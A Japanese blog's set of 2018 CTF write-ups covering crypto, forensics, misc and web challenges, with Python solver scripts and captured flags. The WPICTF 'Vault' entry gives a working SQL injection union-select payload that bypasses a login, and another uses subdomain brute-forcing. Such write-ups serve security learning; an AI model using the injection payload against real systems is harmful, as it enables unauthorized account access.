この大会は2018/4/21 5:20(JST)~2018/4/26 1:20(JST)に開催されました。
今回もチームで参戦。結果は2100点で166チーム中39位でした。
今回は自分が得点した問題は1問もありませんでした。
Ethereum関連の問題もあり、いろいろ調べながらでも何とか解きたかったのですが、残念です。
NoNameCon CTF Quals 2018 Writeup
この大会は2018/4/22 6:00(JST)~2018/4/24 6:00(JST)に開催されました。
今回もチームで参戦。結果は50点で130チーム中27位でした。
自分で解けた問題をWriteupとして書いておきます。
Subdomain (50)
nonameconctf2018.xyzのサブドメインを調査する問題。
>dnsrecon.py -d nonameconctf2018.xyz [*] Performing General Enumeration of Domain: nonameconctf2018.xyz [-] DNSSEC is not configured for nonameconctf2018.xyz [*] SOA dns1.registrar-servers.com 216.87.155.33 [*] NS dns1.registrar-servers.com 216.87.155.33 [*] NS dns1.registrar-servers.com 2620:74:19::33 [*] NS dns2.registrar-servers.com 216.87.152.33 [*] NS dns2.registrar-servers.com 2001:502:cbe4::33 [*] MX eforward4.registrar-servers.com 162.255.118.62 [*] MX eforward5.registrar-servers.com 162.255.118.62 [*] MX eforward3.registrar-servers.com 162.255.118.61 [*] MX eforward2.registrar-servers.com 162.255.118.62 [*] MX eforward1.registrar-servers.com 162.255.118.61 [*] TXT nonameconctf2018.xyz v=spf1 include:spf.efwd.registrar-servers.com ~all [*] Enumerating SRV Records [-] No SRV Records Found for nonameconctf2018.xyz [+] 0 Records Found >dnsrecon.py -d nonameconctf2018.xyz -t brt [*] No file was specified with domains to check. [*] Using file provided with tool: C:\CTF\Tool\dnsrecon\namelist.txt [*] A chat.nonameconctf2018.xyz 188.166.99.124 [*] A hidden.nonameconctf2018.xyz 188.166.102.232 [*] A info.nonameconctf2018.xyz 188.166.126.109 [*] A www.nonameconctf2018.xyz 188.166.46.238 [+] 4 Records Found
http://hidden.nonameconctf2018.xyz/にアクセスすると、フラグが表示された。
That was easy. Flag for 50 points: nnc{ef62e674aa6585412e1ee529b4bd9090}
nnc{ef62e674aa6585412e1ee529b4bd9090}
STEM CTF: Cyber Challenge 2018 Writeup
この大会は2018/4/21 8:00(JST)~2018/4/22 8:00(JST)に開催されました。
今回もチームで参戦。結果は2600点で229チーム中6位、Professionalでは1位でした。
自分で解けた問題をWriteupとして書いておきます。
Keyboard Shuffle (Crypto 100)
問題の暗号は以下の通り。
Ut awwna U;n cwrt vS r rtoubfm rgBJAB DIE VWUBF AI YBSWEARndubf BTQt~ nxPRTOUBF)UA)ooEWBRKT)Ges{
英語のキーボードで本来の左側を押してしまっていることが多いようだ。
正しくキー操作しているときと、CAPS Lockを押している可能性に気をつける(aを押すべき時にCaps Lock押してしまっているときがある)。特に大文字小文字が入れ替わっているときはaを押している可能性がある。
正しい入力にすると以下のような感じになるはず。
It seems I'm very bad at typing, thanksn for being so understanding anyway! MCA{TYPING_IS_APPARENTLY_HARD}
MCA{TYPING_IS_APPARENTLY_HARD}
Blue Codes of Death (Crypto 200)
FLAGの各文字について以下の処理を行う。
md5(salt + c + idx(0-19)) ※saltは2**16未満の数値文字列
このハッシュ値を2バイトごとに青の数値として32x32の画像に入れていく。この処理をFLAG20バイト分行っている。
画像からハッシュ値がわかるので、saltとFLAG文字をブルートフォースで探り当てる。
from PIL import Image import hashlib img = Image.open('release.png').convert('RGB') flag = '' for i in range(20): h = '' for y in range(0, 32, 8): for x in range(i*32, (i+1)*32, 8): r, g, b = img.getpixel((x, y)) h += '%02x' % b found = False for salt in range(2**16): for code in range(32, 127): text = str(salt) + chr(code) + str(i) myhash = hashlib.md5(text).hexdigest() if myhash == h: found = True flag += chr(code) print chr(code), break if found: break print print flag
MCA-27c0384c33a93172
Timisoara CTF 2018 Quals Writeup
この大会は2018/4/14 9:00(JST)~2018/4/21 18:00(JST)に開催されました。
今回もチームで参戦。結果は3181点で442チーム中7位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome (Misc 1)
問題にフラグが書いてある。
timctf{w3lcom3_t0_timctf_2018_quals}
Accord (Misc 5)
Accordの#generalチャネルの名前の横にフラグが書かれている。
timctf{fr33_v01c3_4nd_text_ch4t_f0r_ctfers}
Picassor (Forensics 50)
XORキー1文字でjpgのフォーマットに復号する。
with open('unirii_square.jpg', 'rb') as f: data = f.read() key = 0xff ^ ord(data[0]) flag = '' for i in range(len(data)): flag += chr(ord(data[i]) ^ key) with open('flag.jpg', 'wb') as f: f.write(flag)
timctf{x0r_and_rul3_un1t3_and_l34d}
Strange behavior (Forensics 100)
FTK Imagerで開き、[root]-4_next_lecturesにある、削除済みのschedule.xlsxをエクスポートする。このExcelを開き、F10のセルを見ると、フラグが書いてある。
timctf{d0nt_f0rg3t_t0_h4v3_fun}
Those Are Rookie Numbers (Crypto 30)
nをfactordbで素因数分解する。
p = 176773485669509339371361332756951225661 q = 333197218785800427026869958933009188427
あとはそのまま復号する。
n = 58900433780152059829684181006276669633073820320761216330291745734792546625247 e = 65537 c = 56191946659070299323432594589209132754159316947267240359739328886944131258862 p = 176773485669509339371361332756951225661 q = 333197218785800427026869958933009188427 phi = (p - 1) * (q - 1) x = 0 while True: if (phi * x + 1) % e == 0: d = (phi * x + 1) / e break x = x + 1 m = pow(c, d, n) flag = ('%x' % m).decode('hex') print flag
timctf{th0sE_rOoKIe_numB3rz}
Back in Time (Crypto 50)
以下の英小文字だけの換字式暗号を復号する。
hsijhk{Pc3nvO_R4NvwM_1S_Nwh_RArD0M}
timctf{}の形式なり、英文として意味がありそうなように変換する。
暗号 平文 h t s i i m j c k f c s n u v d w o r n
timctf{Ps3udO_R4NdoM_1S_Not_RAnD0M}
SSS - Part 1 (Crypto 75)
差が同じなので、添付のグラフから考えると、同じ差で1つ目の値から引いたものがフラグになる。
c1 = '4612c90f5d8cd5d616193257336d92af1f66df92443b4ee69f5c885f0173ad80113844e393d194e3' c2 = '8c25921e46b03e48b7cbe94c3267f41adf618abd16422f660b59df6fae81e8aff2242852be33db49' c3 = 'd2385b2d2fd3a6bb597ea041316255869f5c35e7e8490fe5775736805b9023dfd3100bc1e89621af' val1 = int(c1, 16) val2 = int(c2, 16) val3 = int(c3, 16) diff1 = val2 - val1 diff2 = val3 - val2 assert diff1 == diff2 val_flag = val1 - diff1 flag = ('%x' % val_flag).decode('hex') print flag
timctf{b4s1C_l4gr4ng3_1NTerP0LatioN}
Substitute Teacher (Crypto 100)
換字式暗号。ただし英小文字しか変換されない。小文字部分だけquipqiupを補助的に使って、対応付けをする。
暗号 平文 a g b e c t d u e o f c g r h f i i k a l w m m n n o h q k s s t l u b x d y j z p
rev_sub_dict = { 'a': 'g', 'b': 'e', 'c': 't', 'd': 'u', 'e': 'o', 'f': 'c', 'g': 'r', 'h': 'f', 'i': 'i', 'j': 'x', 'k': 'a', 'l': 'w', 'm': 'm', 'n': 'n', 'o': 'h', 'p': 'v', 'q': 'k', 'r': 'y', 's': 's', 't': 'l', 'u': 'b', 'v': 'z', 'w': 'q', 'x': 'd', 'y': 'j', 'z': 'p' } with open('ciphertext.txt', 'r') as f: data = f.read() plain = '' for i in range(len(data)): if rev_sub_dict.has_key(data[i]): plain += rev_sub_dict[data[i]] else: plain += data[i] with open('plaintext.txt', 'w') as f: f.write(plain)
復号すると、文中にフラグがある。
"She left." Fache glanced out at the darkened hallway. Apparently Sophie had been in no mood to stop by and chat with the other officers on her way out. For a moment, Fache considered radioing the guards in the entresol and telling them to stop Sophie and drag her back up here before she could leave the premises. He thought better of it. That was only his pride talking... wanting the last word. He'd had enough distractions tonight. Deal with Agent Neveu later, he told himself, already looking forward to firing her. Pushing Sophie from his mind, Fache stared for a moment at the miniature knight standing on Sauniere's desk. Then he turned back to Collet. "Do you have him?" timctf fr3quencyan4lyS1s1sc0ol Collet gave a curt nod and spun the laptop toward Fache. The red dot was clearly visible on the floor plan overlay, blinking methodically in a room marked TOILETTES PUBLIQUES. "Good," Fache said, lighting a cigarette and stalking into the hall. I've got a phone call to make. Be damned sure the rest room is the only place Langdon goes."
timctf{fr3quencyan4lyS1s1sc0ol}
Not Your Average RSA (Crypto 100)
nを素因数分解する。
$ python -m primefac 18086135173395641986123054725350673124644081001065528104355398467069161310728333370888782472390469310073117314933010148415971838393130403883412870626619053053672200815153337045022984003065791405742151350233540671714100052962945261324862393058079670757430356345222006961306738393548705354069502196752913415352527 18086135173395641986123054725350673124644081001065528104355398467069161310728333370888782472390469310073117314933010148415971838393130403883412870626619053053672200815153337045022984003065791405742151350233540671714100052962945261324862393058079670757430356345222006961306738393548705354069502196752913415352527: 19459483 18145913 20197313 27409927 22685197 16904777 31696261 18313601 31737131 31881917 18646361 17901463 29511773 21321539 25808239 24525821 20010041 21647243 27138691 33322589 22576643 17673199 27739163 30342329 23554169 21891889 33098557 31703933 17730961 22050221 24996157 25671797 27606707 27289543 28863719 25963459 20390129 24946057 33381329 29488469 20013121 30580789
この結果から、Muti-Prime RSAの復号プログラムを書く。eは通常の65537にした。
import gmpy def chinese_remainder(n, a): sum = 0 prod = reduce(lambda a, b: a*b, n) for n_i, a_i in zip(n, a): p = prod / n_i sum += a_i * gmpy.invert(p, n_i) * p return sum % prod c = 9074407119435549226216306717104313210750146895081726439798095976354600576814818348656600684713830051655944443364224597709641982342039946659987121376590618828822446965847273448794324003758131816407702456966504389655568712152599077538994030379567217702587542326383955580601916478060973206347266442527564009737910 e = 65537 n = 18086135173395641986123054725350673124644081001065528104355398467069161310728333370888782472390469310073117314933010148415971838393130403883412870626619053053672200815153337045022984003065791405742151350233540671714100052962945261324862393058079670757430356345222006961306738393548705354069502196752913415352527 primes = [ 19459483, 18145913, 20197313, 27409927, 22685197, 16904777, 31696261, 18313601, 31737131, 31881917, 18646361, 17901463, 29511773, 21321539, 25808239, 24525821, 20010041, 21647243, 27138691, 33322589, 22576643, 17673199, 27739163, 30342329, 23554169, 21891889, 33098557, 31703933, 17730961, 22050221, 24996157, 25671797, 27606707, 27289543, 28863719, 25963459, 20390129, 24946057, 33381329, 29488469, 20013121, 30580789] n_ary = [] a_ary = [] for p in primes: phi = p - 1 d = gmpy.invert(e, phi) mk = pow(c, d, p) n_ary.append(p) a_ary.append(mk) m = chinese_remainder(n_ary, a_ary) flag = ('%x' % m).decode('hex') print flag
timctf{mUlt1_PriM3_rS4_c0ULD_B3_DAngEr0us}
Hush Hush (Crypto 150)
inputの2回目は、1回目に入力したものの前に\x00(いくつでもよい)を入力すればよい。
例えば、以下を指定する。
・\x00 ・\x00\x00
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('89.38.210.129', 6665)) data = s.recv(256) print data data = s.recv(256) input1 = '\x00' print data + input1 s.sendall(input1 + '\n') data = s.recv(256) input2 = '\x00\x00' print data + input2 s.sendall(input2 + '\n') data = s.recv(256) print data
timctf{d0UbT_3verYTH1nG}
SSS - Part 2 (Crypto 250)
10バイトごとに暗号化。暗号化は以下のような処理。
x = 1の場合 c1 * 1 + c2 * 1^2 + c3 * 1^3 + ... + c12 * 1^12 + flag = y1 x = 2の場合 c1 * 2 + c2 * 2^2 + c3 * 2^3 + ... + c12 * 2^12 + flag = y2 x = 3の場合 c1 * 3 + c2 * 3^2 + c3 * 3^3 + ... + c12 * 3^12 + flag = y3 : x = 16の場合 c1 * 16 + c2 * 16^2 + c3 * 16^3 + ... + c12 * 16^12 + flag = y16
10バイトの暗号化間では差はflagの差でしかない。同じxの値では、flag2 - flag1 = y21 - y11
timctf{で始まり}で終わることを条件にブルートフォースで求める。
import itertools def is_printable(s): for i in range(len(s)): if ord(s[i]) < 32 or ord(s[i]) > 126: return False return True val0_1 = 7714685804569579757659784 val1_1 = 7534756766114272409848924 val3_1 = 7164946524794170391755686 val0_2 = 3547087743966283680068135913 val1_2 = 3546907814927828372720325053 val2_2 = 3547059021367945143469206505 val0_7 = 3756478321347707411745123850684568 val2_7 = 3756478321318984813406587251755160 val3_7 = 3756478320797968131969714484780470 assert val1_1 - val0_1 == val1_2 - val0_2 diff1 = val1_1 - val0_1 assert val2_2 - val0_2 == val2_7 - val0_7 diff2 = val2_2 - val0_2 assert val3_1 - val0_1 == val3_7 - val0_7 diff3 = val3_1 - val0_1 flag_head = 'timctf{' chars = '' for code in range(32, 127): chars += chr(code) for c in itertools.product(chars, repeat=3): flag0 = flag_head + ''.join(c) int_flag0 = int(flag0.encode('hex'), 16) int_flag1 = int_flag0 + diff1 int_flag2 = int_flag0 + diff2 int_flag3 = int_flag0 + diff3 hex_flag1 = '%x' % int_flag1 hex_flag2 = '%x' % int_flag2 hex_flag3 = '%x' % int_flag3 if len(hex_flag1) % 2 == 0: flag1 = hex_flag1.decode('hex') if is_printable(flag1) == False: continue if len(hex_flag2) % 2 == 0: flag2 = hex_flag2.decode('hex') if is_printable(flag2) == False: continue if len(hex_flag3) % 2 == 0: flag3 = hex_flag3.decode('hex') if is_printable(flag3) == False: continue if flag3[-1] != '}': continue flag = flag0 + flag1 + flag2 + flag3 print flag
候補はたくさん出てくるので、英語の文章になるものをsubmitしていく。
timctf{d0_NOt_R3inV3nT_CrYpt0_Pl34sE}
Feedback (Misc 10)
アンケートに答えて、再度アンケートフォームにアクセスすると、フラグが表示されていた。
timctf{we_hope_it_was_fun_and_youll_be_back_next_year}
WPICTF 2018 Writeup
この大会は2018/4/13 19:00(JST)~2018/4/15 19:00(JST)に開催されました。
今回もチームで参戦。結果は3418点で605チーム中6位でした。
自分で解けた問題をWriteupとして書いておきます。
Read (Misc 1)
問題にフラグが書いてある。
WPI{Hey_You_can_R3AD!}
Discord (Misc 10)
Discordの#discord_chalチャネルの名前の横にフラグが書かれている。
WPI{Welcome_to_Disc0rd_ya-D00fus}
Bitpuzzler (Misc 100)
$ nc bitpuzzler.wpictf.xyz 31337 ----- #include <stdlib.h> #include <stdio.h> #include <stdint.h> inline int64_t pmod(int64_t x) { int64_t v = x % 13707217; if(v < 0) return v + 13707217; else return v; } int main(int argc, char** argv) { int64_t x; scanf("%ld", &x); x = pmod(x); x = pmod(x - 2765383); x = pmod(x - 11088075); x = pmod(x - 53063); x = pmod(x - 816347); x = pmod(x * 12704223); x = pmod(x + 6252924); x = pmod(x * 6611972); x = pmod(x - 11827031); x = pmod(x + 11668824); x = pmod(x + 5960404); x = pmod(x + 3990469); x = pmod(x * 4551209); x = pmod(x + 8564211); x = pmod(x * 10868946); x = pmod(x + 13656920); x = pmod(x - 6875294); x = pmod(x - 5266333); x = pmod(x * 12540554); x = pmod(x * 6800308); x = pmod(x - 10601882); x = pmod(x - 13175208); x = pmod(x * 8674854); x = pmod(x - 1566882); x = pmod(x * 8916465); x = pmod(x - 12408787); x = pmod(x + 6566083); x = pmod(x - 12368595); x = pmod(x + 7142759); x = pmod(x - 5354305); x = pmod(x + 3248766); x = pmod(x - 3618572); x = pmod(x * 7724903); x = pmod(x + 706032); x = pmod(x - 9001286); x = pmod(x + 4888598); x = pmod(x - 8634454); x = pmod(x * 9733406); x = pmod(x + 7802326); x = pmod(x * 896038); x = pmod(x * 3011522); x = pmod(x * 6151929); x = pmod(x + 7935015); x = pmod(x * 8182226); x = pmod(x * 3248703); x = pmod(x + 4872711); x = pmod(x * 9159476); x = pmod(x - 3410508); x = pmod(x - 7169804); x = pmod(x - 8315); x = pmod(x * 3939779); x = pmod(x + 3876691); x = pmod(x * 4280527); x = pmod(x - 13340241); x = pmod(x * 8921547); x = pmod(x - 10642560); x = pmod(x - 9681873); x = pmod(x - 3724401); x = pmod(x + 1239026); x = pmod(x - 3208209); x = pmod(x - 3683714); x = pmod(x - 13079469); x = pmod(x * 9035856); x = pmod(x - 6439696); x = pmod(x * 5223258); x = pmod(x * 4723953); x = pmod(x - 10698396); x = pmod(x * 6315260); x = pmod(x * 10079006); x = pmod(x * 6765231); x = pmod(x + 8536576); x = pmod(x - 11301677); x = pmod(x + 8000942); x = pmod(x - 715059); x = pmod(x - 2200297); x = pmod(x * 9906480); x = pmod(x - 8854557); x = pmod(x * 5166668); x = pmod(x - 12459100); x = pmod(x - 818574); x = pmod(x - 2950323); x = pmod(x + 8425982); x = pmod(x * 11546411); x = pmod(x * 6166679); x = pmod(x * 6499675); x = pmod(x - 8615247); x = pmod(x + 7929113); x = pmod(x - 819362); x = pmod(x - 469235); x = pmod(x + 9436196); x = pmod(x * 10904837); x = pmod(x + 8443541); x = pmod(x + 11542857); x = pmod(x + 5018244); x = pmod(x * 1102863); x = pmod(x * 4817050); x = pmod(x + 7730697); x = pmod(x + 2374403); x = pmod(x * 2486459); x = pmod(x * 4797058); x = pmod(x * 8426160); if(x == 8594918) { printf("Success\n"); return 0; } else { printf("Failure\n"); return 1; } } -----
元のxを算出する問題。modの計算のため、割り算はinverseの計算をする必要がある。このことを考慮して、コードにすると、以下の通り。
import socket import re def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m def parse(s): ptn = 'x = pmod\(x (.+) (.+)\);' m = re.search(ptn, s) op = m.group(1) num = int(m.group(2)) return op, num def minus_mod(a, b, mod): return (a - b) % mod def plus_mod(a, b, mod): return (a + b) % mod def inv_mod(a, b, mod): return (a * modinv(b, mod)) % mod s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('bitpuzzler.wpictf.xyz', 31337)) for i in range(82): print '**** Round %d ****' % (i+1) data = recvuntil(s, '-----\n') data += recvuntil(s, '-----\n') print data lines = data.split('\n') ptn = 'int64_t v = x % (.+);' m = re.search(ptn, lines[7]) mod = int(m.group(1)) ptn = 'if\(x == (.+)\) {' m = re.search(ptn, lines[-10]) res = int(m.group(1)) formula = lines[17:-10] x = res for i in range(len(formula) - 1, 0, -1): op, num = parse(formula[i]) if op == '+': x = minus_mod(x, num, mod) elif op == '-': x = plus_mod(x, num, mod) elif op == '*': x = inv_mod(x, num, mod) print x s.sendall(str(x) + '\n') data = s.recv(256) print data data = s.recv(256) print data
82回正解すると、フラグが表示された。
WPI{R1NG$_@ND_F13LDS_M@KE_M3_W@NT_T0_D13}
guess5 (Crypto 200)
Submitをクリックしても反応がない。ブラウザのデベロッパーツールで確認すると、jsonをparseできないようなエラーが起きていることがわかる。
ソースを見ると、app.jsで処理が行われているように見える。
app.jsを見ると、以下のような記載があり、Guess6.jsonを参照していることがわかる。
initContract: function() { $.getJSON('Guess6.json', function(guess6Artifact) {
https://glgaines.github.io/guess5/Guess6.jsonを見てみる。
bytecodeなどのパラメータの値があるのがわかる。この辺りに暗号のパラメータでもあるのかもしれない。その辺りを読んでいくと、以下のような記述があり、そのままフラグが書いてあった。
"source": "pragma solidity ^0.4.17;\r\ncontract Guess6 {\r\n //global variables\r\n address owner;\r\n //modifiers\r\n modifier restricted() {\r\n require(msg.sender == owner);\r\n _;\r\n }\r\n // initialize\r\n function Guess6() public {\r\n owner = msg.sender;\r\n }\r\n function kill() public {\r\n if(msg.sender == owner) selfdestruct(owner);\r\n }\r\n\r\n function makeGuessesArray(uint8 guess0, uint8 guess1, uint8 guess2, uint8 guess3, uint8 guess4, uint8 guess5) public view returns(uint[7], string) {\r\n uint8[6] memory guesses;\r\n guesses[0] = guess0;\r\n guesses[1] = guess1;\r\n guesses[2] = guess2;\r\n guesses[3] = guess3;\r\n guesses[4] = guess4;\r\n guesses[5] = guess5;\r\n return createGuesses(guesses);\r\n }\r\n\r\n function createGuesses(uint8[6] guesses) public view returns (uint[7], string) {\r\n uint[7] memory resultArray;\r\n uint16 adder = guesses[0] + guesses[1] + guesses[2] + guesses[3] + guesses[4] + guesses[5];\r\n uint16 correctCount = 0;\r\n string memory result_answer;\r\n\r\n uint timeNow = now/100 + adder;\r\n resultArray[0] = timeNow % 9;\r\n resultArray[1] = timeNow % 3;\r\n resultArray[2] = timeNow % 5;\r\n resultArray[3] = timeNow % 7;\r\n resultArray[4] = timeNow % 8;\r\n resultArray[5] = timeNow % 2;\r\n\r\n resultArray[6] = timeNow;\r\n\r\n for(uint8 i = 0; i < 6; i++){\r\n if(resultArray[i] == guesses[i]) {\r\n correctCount++;\r\n }\r\n }\r\n if (correctCount == guesses.length){\r\n result_answer = \"you got the Flag: WPI{All_Hail_The_Mighty_Vitalik}\";\r\n } else {\r\n result_answer = \"Try again\";\r\n }\r\n return (resultArray, result_answer);\r\n }\r\n}\r\n",
WPI{All_Hail_The_Mighty_Vitalik}
Dance (Web 150)
$ curl -v https://dance.wpictf.xyz * Rebuilt URL to: https://dance.wpictf.xyz/ * Hostname was NOT found in DNS cache * Trying 35.184.194.215... * Connected to dance.wpictf.xyz (35.184.194.215) port 443 (#0) * successfully set certificate verify locations: * CAfile: none CApath: /etc/ssl/certs * SSLv3, TLS handshake, Client hello (1): * SSLv3, TLS handshake, Server hello (2): * SSLv3, TLS handshake, CERT (11): * SSLv3, TLS handshake, Server key exchange (12): * SSLv3, TLS handshake, Server finished (14): * SSLv3, TLS handshake, Client key exchange (16): * SSLv3, TLS change cipher, Client hello (1): * SSLv3, TLS handshake, Finished (20): * SSLv3, TLS change cipher, Client hello (1): * SSLv3, TLS handshake, Finished (20): * SSL connection using ECDHE-RSA-AES128-GCM-SHA256 * Server certificate: * subject: CN=dance.wpictf.xyz * start date: 2018-04-15 00:54:53 GMT * expire date: 2018-07-14 00:54:53 GMT * subjectAltName: dance.wpictf.xyz matched * issuer: C=US; O=Let's Encrypt; CN=Let's Encrypt Authority X3 * SSL certificate verify ok. > GET / HTTP/1.1 > User-Agent: curl/7.35.0 > Host: dance.wpictf.xyz > Accept: */* > < HTTP/1.1 302 FOUND * Server nginx/1.13.12 is not blacklisted < Server: nginx/1.13.12 < Date: Sun, 15 Apr 2018 03:35:14 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 309 < Connection: keep-alive < Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s < Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/ < Set-Cookie: Julius C.="got good dance moves."; Path=/ < Strict-Transport-Security: max-age=31536000 < <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>Redirecting...</title> <h1>Redirecting...</h1> * Connection #0 to host dance.wpictf.xyz left intact <p>You should be redirected automatically to target URL: <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s">https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s</a>. If not click the link.
クッキーには以下がセットされている。
flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx= Julius C.="got good dance moves."
flagはそのままではBase64デコードしても、printableな文字にならない。シーザー暗号と考え、デコードしてWPI{で始まるものを見つける。
$ echo WPI{ | base64 V1BJewo=
https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipher
で復号する。
Rotation 9: V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=
$ echo V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo= | base64 -d WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
Vault (Web 200)
ソースを見る。
<!-- Welcome to the the Fuller Vault - clients/clients.db stores authentication info with the following schema: CREATE TABLE clients ( id VARCHAR(255) PRIMARY KEY AUTOINCREMENT, clientname VARCHAR(255), hash VARCHAR(255), salt VARCHAR(255) ); --> <!-- V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt -->
>>> 'V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt'.decode('base64') "What? You thought this was a flag? Ha that would be to easy. That's just not my style? ~ Goutham"
style.cssを見ると、Base64で書かれたコメントが記載されている。
c2VhcmNoID0gIiIiU0VMRUNUIGlkLCBoYXNoLCBzYWx0IEZST00gY2xpZW50cyBXSEVSRSBjbGllbnRuYW1lID0gJ3swfScgTElNSVQgMSIiIi5mb3JtYXQoY2xpZW50bmFtZSkNCnBvaW50ZXIuZXhlY3V0ZShzZWFyY2gpDQoNCiByZXMgPSBwb2ludGVyLmZldGNob25lKCkNCiAgICBpZiBub3QgcmVzOg0KICAgICAgICByZXR1cm4gIk5vIHN1Y2ggdXNlciBpbiB0aGUgZGF0YWJhc2UgezB9IVxuIi5mb3JtYXQoY2xpZW50bmFtZSkNCiAgICB1c2VySUQsIGhhc2gsIHNhbHQgPSByZXMNCg== Y2FsY3VsYXRlZEhhc2ggPSBoYXNobGliLnNoYTI1NihwYXNzd29yZCArIHNhbHQpDQppZiBjYWxjdWxhdGVkSGFzaC5oZXhkaWdlc3QoKSAhPSBoYXNoOg0KDQoJSW52YWxpZA0K
>>> 'c2VhcmNoID0gIiIiU0VMRUNUIGlkLCBoYXNoLCBzYWx0IEZST00gY2xpZW50cyBXSEVSRSBjbGllbnRuYW1lID0gJ3swfScgTElNSVQgMSIiIi5mb3JtYXQoY2xpZW50bmFtZSkNCnBvaW50ZXIuZXhlY3V0ZShzZWFyY2gpDQoNCiByZXMgPSBwb2ludGVyLmZldGNob25lKCkNCiAgICBpZiBub3QgcmVzOg0KICAgICAgICByZXR1cm4gIk5vIHN1Y2ggdXNlciBpbiB0aGUgZGF0YWJhc2UgezB9IVxuIi5mb3JtYXQoY2xpZW50bmFtZSkNCiAgICB1c2VySUQsIGhhc2gsIHNhbHQgPSByZXMNCg=='.decode('base64') 'search = """SELECT id, hash, salt FROM clients WHERE clientname = \'{0}\' LIMIT 1""".format(clientname)\r\npointer.execute(search)\r\n\r\n res = pointer.fetchone()\r\n if not res:\r\n return "No such user in the database {0}!\\n".format(clientname)\r\n userID, hash, salt = res\r\n' >>> 'Y2FsY3VsYXRlZEhhc2ggPSBoYXNobGliLnNoYTI1NihwYXNzd29yZCArIHNhbHQpDQppZiBjYWxjdWxhdGVkSGFzaC5oZXhkaWdlc3QoKSAhPSBoYXNoOg0KDQoJSW52YWxpZA0K'.decode('base64') 'calculatedHash = hashlib.sha256(password + salt)\r\nif calculatedHash.hexdigest() != hash:\r\n\r\n\tInvalid\r\n'
passwordとsaltを決めて、hashを計算する。
>>> import hashlib >>> hashlib.sha256('pass' + 'salt').hexdigest() 'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6'
以下でログイン
Username ' union select '1', 'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6', 'salt' -- Password pass →Welcome back valid user! Your digital secret is: "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
idを2に変えてみる。
Username ' union select '2', 'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6', 'salt' -- Password pass →Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}"
WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}
Midnight Sun CTF Quals Writeup
この大会は2018/4/14 19:00(JST)~2018/4/15 19:00(JST)に開催されました。
今回もチームで参戦。結果は110点で221チーム中69位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity check (Misc 10)
Serviceに記載されているkiwiircのページに入ると、フラグが表示された。
midnight{midnightsunctf_2018}
Diary (Misc 50)
gitのファイル群が与えられている。
$ cd .git $ xxd -g 1 index 0000000: 44 49 52 43 00 00 00 02 00 00 00 02 5a d1 4a 98 DIRC........Z.J. 0000010: 36 bf e7 7c 5a d1 4a 98 36 bf e7 7c 00 00 00 2f 6..|Z.J.6..|.../ 0000020: 00 00 0c f0 00 00 81 a4 00 00 00 00 00 00 03 e7 ................ 0000030: 00 00 01 db 4b 3c a9 1d 6d db a6 e9 f0 aa bd 33 ....K<..m......3 0000040: c3 6d 2a 4f a7 15 91 ab 00 09 64 69 61 72 79 2e .m*O......diary. 0000050: 74 78 74 00 5a d1 4a 98 36 ed ba 58 5a d1 4a 98 txt.Z.J.6..XZ.J. 0000060: 36 ed ba 58 00 00 00 2f 00 00 0c f1 00 00 81 a4 6..X.../........ 0000070: 00 00 00 00 00 00 03 e7 00 00 00 4f 80 7a 75 19 ...........O.zu. 0000080: 57 53 88 2b 07 b6 9b dd ce d3 fd 82 d3 cc af 9c WS.+............ 0000090: 00 0c 77 69 73 68 6c 69 73 74 2e 74 78 74 00 00 ..wishlist.txt.. 00000a0: 00 00 00 00 54 52 45 45 00 00 00 19 00 32 20 30 ....TREE.....2 0 00000b0: 0a b1 f9 65 09 20 92 00 a6 dd a7 ad 4b de b7 02 ...e. ......K... 00000c0: 61 c7 30 ab e2 5b 3d 69 3c fa b4 e8 cf 96 e0 29 a.0..[=i<......) 00000d0: 47 9f 1b 48 08 00 73 80 e2 G..H..s.. $ python -c 'import zlib; print zlib.decompress(open("objects/4b/3ca91d6ddba6e9f0aabd33c36d2a4fa71591ab").read())' blob 475Hello! This is my diary. There are many like it but this one is mine. April 9th Today was a good day. I ate some pie. April 10th I was a little bit sad today. April 11th Today I found a flag, it said: <PAGE TORN HERE> that sounds very interesting. April 12th I called my uncle today. He said he read a cool story in the newspaper. April 13th Tomorrow is my birthday. I am very excited to see if I get a cake. April 14th Woho! Today is my birthday! And we are hacking! $ python -c 'import zlib; print 